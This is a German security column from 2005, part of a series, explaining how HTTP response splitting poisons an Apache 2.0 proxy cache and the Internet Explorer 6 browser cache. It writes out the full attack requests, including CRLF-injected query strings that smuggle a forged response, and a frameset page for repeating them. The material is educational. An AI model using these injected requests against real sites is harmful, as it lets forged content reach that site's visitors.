Montag, 16. Januar 2012

Topthema

Donnerstag, 15. September 2005 | Topthema

About Security #23: Caches vergiften

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/024130)
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share

Die praktische Durchführung der in About Security #21 und #22 beschrieben HTTP-Response-Splitting-Angriffe ist das Thema dieser Folge von About Security. Sie erfahren, wie Web- und Browsercaches mit falschen Informationen vergiftet werden können.

Apache 2.0 mit mod_proxy und mod_cache ist ein leichtes Ziel für die Cache-Vergiftung, da Nachrichten an ihren logischen Grenzen erkannt werden und Pipelining unterstützt wird. Um den Cache zu vergiften, werden drei HTTP-Requests benötigt: Der erste sorgt dafür, dass die Seite im Cache ungültig wird. Der zweite startet das HTTP Response Splitting, und dem dritten wird die eingeschleuste HTTP-Response zugeordnet.

Webcache vergiften: Apache 2.0

Um die gewünschte Seite aus dem Cache zu entfernen, wird im ersten HTTP-Request ein Pragma: no-cache-Header mitgeschickt: 

 GET http://www.opfer.example/index.html HTTP/1.1
 Pragma: no-cache
 Host: www.opfer.example
 User-Agent: Mozilla/4.7 [en] (WinNT; I)
 Accept: image/gif, image/jpeg, image/png, */*
 Accept-Encoding: gzip
 Accept-Language: en
 Accept-Charset: iso-8859-1,*,utf-8

N E U ! Security aktuell
Täglich aktuelle Security-Infos!

Die verwundbare Seite soll wie in About Security #21 wieder /redir_lang.jsp sein. In der gefälschten HTTP-Response muss ein Last-Modified-Header mit einem Datum in der Zukunft enthalten sein, im Beispiel der 31. Dezember 2010. Für den HTTP-Response-Splitting-Angriff ergibt sich damit (nach Amit Klein, "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics", (PDF)) folgender HTTP-Request: 

 GET http://www.opfer.example/redir_lang.jsp?lang=%0d%0aContent-
 Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified
 :%20Fri,%2031%20Dec%202010%2001:23:45%20GMT%0d%0aContent-Leng
 th:%2023%0d%0aContentType:%20text/html%0d%0a%0d%0a<html>Gesch
 afft!</html> HTTP/1.1
 Host: www.opfer.example
 User-Agent: Mozilla/4.7 [en] (WinNT; I)
 Accept: image/gif, image/jpeg, image/png, */*
 Accept-Encoding: gzip
 Accept-Language: en
 Accept-Charset: iso-8859-1,*,utf-8

Jetzt fehlt noch die Anforderung der zu vergiftenden Seite: 

 GET http://www.opfer.example/index.html HTTP/1.1
 Host: www.opfer.example
 User-Agent: Mozilla/4.7 [en] (WinNT; I)
 Accept: image/gif, image/jpeg, image/png, */*
 Accept-Encoding: gzip
 Accept-Language: en
 Accept-Charset: iso-8859-1,*,utf-8

Apache cached keine Quellen, deren URL mit einem / endet. Daher kann das Beispiel http://www.opfer.example/ nicht vergiftet werden. Das Vergiften von http://www.opfer.example/index.html ist jedoch möglich.

Was passiert?
About Security: Die komplette Serie

Beim Empfang des ersten HTTP-Requests wird die Seite index.html vom Cacheserver beim Webserver angefordert, aufgrund des Pragma: no-cache-Headers aber nicht gecached. Eine eventuell im Cache vorhandene Version wird verworfen. Der zweite HTTP-Request löst zwei HTTP-Responses aus (siehe About Security #21). Die zweite, gefälschte HTTP-Response wird dem dritten HTTP-Request zugeordnet, wodurch der Cache vergiftet wird. Wird danach http://www.opfer.example/index.html aufgerufen, wird das in den Cache eingeschleuste <html>Geschafft!</html> zurückgeliefert.

Browsercache vergiften: Internet Explorer 6.0 SP1

Der Internet Explorer verwendet Puffergrenzen zur Erkennung der Nachrichtengrenzen. Der verwendete Puffer fasst 1.024 Bytes. Die zweite HTTP-Response muss daher an einer 1.024-Byte-Grenze beginnen, um korrekt erkannt zu werden. Außerdem werden bis zu vier TCP-Verbindungen zum Empfang von Daten verwendet. Dadurch ist nicht sichergestellt, dass zwei HTTP-Requests über die gleiche TCP-Verbindung gesendet werden. Als weitere Schwierigkeit müssen u.a. HTTP-Requests und -Responses in der richtigen Reihenfolge gesendet bzw. empfangen werden und es darf kein TCP FIN vom Server empfangen werden. Für einen erfolgreichen Angriff müssen viele HTTP-Requests in schneller Folge gesendet werden, in der Hoffnung, dass zwei passende HTTP-Requests über die gleiche TCP-Verbindung gesendet werden.

Um die erforderlichen HTTP-Requests mehrmals zu senden, kann eine Frame-Seite mit einer Reihe identischer Frames verwendet werden (Bsp. nach obigen Whitepaper): 

 <frameset cols="5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,
 5%,5%,5%">
 <frame src="http://www.opfer.example/redir_lang.jsp?lang=%0d%0aConne
 ction:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA 
 ... [Auffüllen auf 1024 Bytes]...
 AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0
 d%0aLastModified:%20Fri,%2031%20Dec%202010%2001:23:45%20GMT%0d%0a
 ContentLength:%2045%1d%0a%0d%0a<html>Cache%20erfolgreich%20vergif
 tet!</html>
 ">
 <frame src="http://www.opfer.example/index.html"> ... [9 weitere dieser <frame>-Paare] ... 
 
 </frameset>

Es werden je zehn HTTP Response Splitting Requests gesendet, jeweils gefolgt von einem HTTP-Request für die zu vergiftende Seite. Im Erfolgsfall wird dadurch der Browser-Cache vergiftet. Dabei wird davon ausgegangen, dass bei jedem Besuch einer Seite nach einer neueren Version gesucht wird als der im Cache vorgehaltenen.

Statt einer Seite mit mehreren Frames können auch XMLHttpRequests für den Angriff verwendet werden.

Außer zum Vergiften von Caches kann HTTP Response Splitting auch für Cross-Site-Scripting-Angriffe und das Entführen von Webseiten mit sensitiven Informationen verwendet werden. Diese Angriffe werden ab der nächsten Folge vorgestellt.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen"

Kommentare

+ Neuen Kommentar verfassen

Folgende Links könnten Sie auch interessieren